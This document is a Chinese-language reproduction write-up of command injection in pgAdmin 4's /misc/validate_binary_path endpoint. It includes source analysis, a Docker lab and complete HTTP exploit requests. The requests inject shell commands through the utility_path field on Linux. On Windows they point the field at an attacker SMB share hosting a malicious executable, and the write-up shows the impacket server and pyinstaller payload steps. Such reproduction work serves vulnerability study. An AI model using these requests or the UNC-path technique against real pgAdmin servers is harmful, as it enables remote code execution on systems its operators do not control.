​

https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/source/pgadmin4-5.7.tar.gz 下载 pgadmin5.7 的源码

首先从代码层面进行分析

接口 /validate_binary_path​ 最后调用了 subprocess.getoutput(​来执行了命令

这一部分代码是对传入的路径进行检测，如果是在 linux 下直接拼接，在windows 下部署，后缀中会添加 .exe​ 。同时 windows下恶意的exe文件必须是下面几个文件名之一 'pg_dump', 'pg_dumpall', 'pg_restore', 'psql'

linux

可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin

docker pull dpage/pgadmin4:6.16
docker run -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456'  -p 5050:80 --name pgadmin -d  docker.io/dpage/pgadmin4:6.16

直接构造发送会提示 The CSRF token is missing.​

所以我们先请求路由 login

POST /misc/validate_binary_path HTTP/1.1
Host: 127.0.0.1:5050
Upgrade-Insecure-Requests: 1
X-pgA-CSRFToken:ImI1OWE1NjQ3ZDZlYjBkYzFmMjgzYzE3MTEyMGRiZTA0MWYwM2YwMjgi.ZhUBBQ.S3V3X0JmCbEcwcpWZkf1TVYVRS4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en;pga4_session=bada494b-009f-4c04-bded-20497c5dcf74!pMVxVlI925/AqyV9Oq0RqiPecdo0fWg2hWYHxGDEpYc=;
Connection: close
Content-Type: application/json
Content-Length: 33
​
{"utility_path":"a\";ifconfig;#"}

import os
binary_path = "a\";ifconfig;#"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
    full_path = os.path.abspath(
        os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
    )
    print(full_path)
​

我们简化代码在linux 下执行，最后利用;​ 分割执行命令

windows

下载软件并进行安装 https://ftp.postgresql.org/pub/pgadmin/pgadmin4/v5.7/windows/pgadmin4-5.7-x64.exe

我们发现同样在 windows 下拼接时是无法利用;​ 分割执行命令，但是可以通过 UNC path指定攻击者的恶意文件

import os
binary_path = "\\\\192.168.222.1\\TMP\\"
UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']
for utility in UTILITIES_ARRAY:
    full_path = os.path.abspath(
        os.path.join(binary_path, (utility if os.name != 'nt' else (utility + '.exe')))
    )
    print(full_path)

我们发现通过构造传入参数，我们可以伪造共享地址

windows 下的环境始终无法启动 web 界面，因为环境实在太老了，启动 C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web\setup.py 各种版本问题，一直没办法启动成功，所以只做理论上的验证

后来我发现安装完成之后，会在界面下提供一个python目录，所以直接选择该python 来启动项目，需要把C:\Users\username\AppData\Local\Programs\pgAdmin 4\v5\web 下的config.py 修改 DEFAULT_SERVER \= '0.0.0.0'

使用impacket提供的smbserver.py脚本构造恶意的smb服务 smbserver.py TMP /tmp

编译恶意的exe文件并放到对应目录

• pip install pyinstaller

• type execute_calc.py

  import subprocess
  ​
  def execute_calc():
      subprocess.call("calc.exe")
  ​
  if __name__ == "__main__":
      execute_calc()

• pyinstaller --onefile execute_calc.py

POST /misc/validate_binary_path HTTP/1.1
Host: 192.168.222.145:5050
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
X-pgA-CSRFToken: Ijg5MDJjOGQ2YmVlNTA1NDMwZjFmODA1ZWNjYTIyNzg5MjExM2EzNDci.Zi3CIg.9u2mEcj30C2tPX0soO3L7tJrp5w
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: pga4_session=9cd07409-7aca-46c3-8635-e615a7fcd4ac!lthUHprxGzxRdWMWfPm1VLDOLpk=; 
Connection: close
Content-Type: application/json
Content-Length: 45
​
{"utility_path":"\\\\192.168.222.128\\TMP\\"}

  ​

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